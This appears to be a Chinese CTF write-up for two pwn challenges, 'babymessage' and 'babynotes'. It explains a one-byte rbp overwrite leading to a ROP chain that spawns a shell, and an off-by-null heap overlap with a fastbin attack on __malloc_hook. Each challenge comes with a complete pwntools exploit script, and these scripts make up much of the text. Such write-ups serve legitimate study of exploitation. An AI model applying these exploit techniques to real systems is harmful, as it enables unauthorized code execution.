就做了两个强网先锋的pwn。。or2
babymessage
例行检查
主要函数
往v3处写入字符,如果写入字符数大于0x8,就会覆盖rbp;如果大于0x10,就会覆盖返回地址
由于变量储存在栈上,汇编里用[rbp+偏移]来表示
下图是ida中调用leave_message时的汇编代码
在首次输入message时,v1在开始赋值后被保存在[rbp-0x4]的位置,为0x10
如果我们在输入message时正好输入8个字符,覆盖rbp一个字节,在leave_message函数返回时执行
leave
ret
以上指令就能将返回main函数后rbp改变
所以下次执行leave_massage函数的时候,[rbp-4]地址改变,参数的值也发生了改变
所以第二次调用就可以写入0x100的字节,rop就完事了
最后还有一个坑,在执行system函数的时候rsp需要0x10对齐,所以在rop链上加上一个ret的gadget来控制rsp
exp:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf=ELF('./babymessage')
libc=ELF("./libc-2.27.so")
def pwn():
poprdi=0x0000000000400ac3
puts=elf.plt['puts']
puts_got=elf.got['puts']
p.recvuntil('choice: \n')
p.sendline('2')
p.recvuntil('message:')
p.sendline('aaaaaaaa')
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('message:')
payload = 'b'*0x10+p64(poprdi)+p64(puts_got)+p64(puts)
payload += p64(0x4006E0)
p.sendline(payload)
p.recvline()
p.recvline()
p.recvline()
puts=u64(p.recv(6).ljust(8,'\x00'))
print hex(puts)
libcbase=puts-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
bin_sh=libcbase+libc.search("/bin/sh\x00").next()
p.recvuntil('choice: \n')
p.sendline('2')
p.recvuntil('message:')
p.sendline('c'*8)
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('message:')
ret = 0x0000000000400646
payload = 'd'*16+p64(poprdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
p.sendline(payload)
p.interactive()
babynotes
主要函数
regist函数调用了strcpy,输入0x18个字节并且age输入0即可造成off-by-null漏洞
申请chunk时没有清空chunk内存,shownote函数可以泄露main_arena,进而泄露libc
存放name的chunk的指针、存放motto的chunk的指针、存放notes的chunk的指针和size都存放在bss段(chunk指针在size之前)
结构如下图所示
deletenote函数使用int
类型作为free下标,并且以存放size的数组作为是否释放的依据(释放后只有存放size的数组对应单元清零),只要第四、第五个chunk存在,就可以delete(-1)将存放name和motto的chunk释放掉
先通过unsorted bin泄露main_arena+88,计算lib基址
然后可以将0x18大小的chunk1放在fastbin中,在chunk1之后再申请一个0xf0大小的chunk2,这样就会得到一个size为0x100的chunk2,执行reset,这样下次申请 存放name的chunk 的时候,就会申请到fastbin中这个chunk1,此时chunk2的size位应该为0x101
溢出后又变为0x100,表示chunk2的前一个物理相邻的chunk1是free状态
之后要先申请下标为5的chunk,然后释放存放name的chunk,将其重新申请存放到正常chunk指针数组中
释放掉chunk1往上的chunk,再往chunk1中填充chunk2的priv_size为chunk2之上两个chunk的大小
然后释放chunk2,让chunk1向后合并构造overlap
就可以随意更改这块chunk所在内存的内容,由于free_hook、malloc_hook前面只有0x7f
这样的字节能够作为size绕过fastbin的检查,所以将 存放name的chunk 的chunksize改为0x7f
放进fastbin之后就是fastbin attack 一把梭了
exp:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
p = process('./notes')
#p = remote("123.56.170.202 ", 43121)
libc = ELF('libc-2.23.so')
def add(idx, size):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('size:')
p.sendline(str(size))
def show(idx):
p.recvuntil('CNote')
p.recvuntil(' > ')
p.sendline('3')
p.recvuntil(' > ')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil('>> ')
p.sendline('4')
p.recvuntil('index')
p.sendline(str(idx))
p.recvuntil('note:')
p.sendline(content)
p.recvuntil('name:')
p.sendline('aaa')
p.recvuntil('motto:')
p.sendline('bbb')
p.recvuntil('age:')
p.sendline('1')
add(0,0x90) #leak
add(1,0x18) #name
delete(0)
add(0,0x90)
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('index')
p.sendline('0')
p.recvuntil('Note 0: ')
ma = u64(p.recv(6).ljust(8,'\x00'))
libc_base = ma - 0x3c4b78
one = libc_base + 0xf1207
malloc_hook=libc_base+libc.symbols['__malloc_hook']
print 'malloc_hook = '+str(hex(malloc_hook))
add(2,0xf0)
add(5,0x10)
delete(0)
delete(1)
p.recvuntil('>> ')
p.sendline('5')
p.recvuntil('name:')
p.send('a'*8+'b'*8+'d'*8)
p.recvuntil('motto:')
p.sendline('ccc')
p.recvuntil('age:')
p.sendline('0')
delete(-1)
add(1,0x18)
edit(1,'\x01'*0x10+p64(0xa0+0x20))
delete(2)
add(0,0xb0)
add(2,0x40)
edit(0,'a'*0x90+'\x00'*8+p64(0x71))
delete(1)
edit(0,'a'*0x90+'\x00'*8+p64(0x71)+p64(malloc_hook-0x23))
#gdb.attach(p,'b *0x400F62')
add(1,0x60)
add(3,0x60)
pd='\x00'*0x13+p64(one)
edit(3,pd)
add(4,0x60)
p.interactive()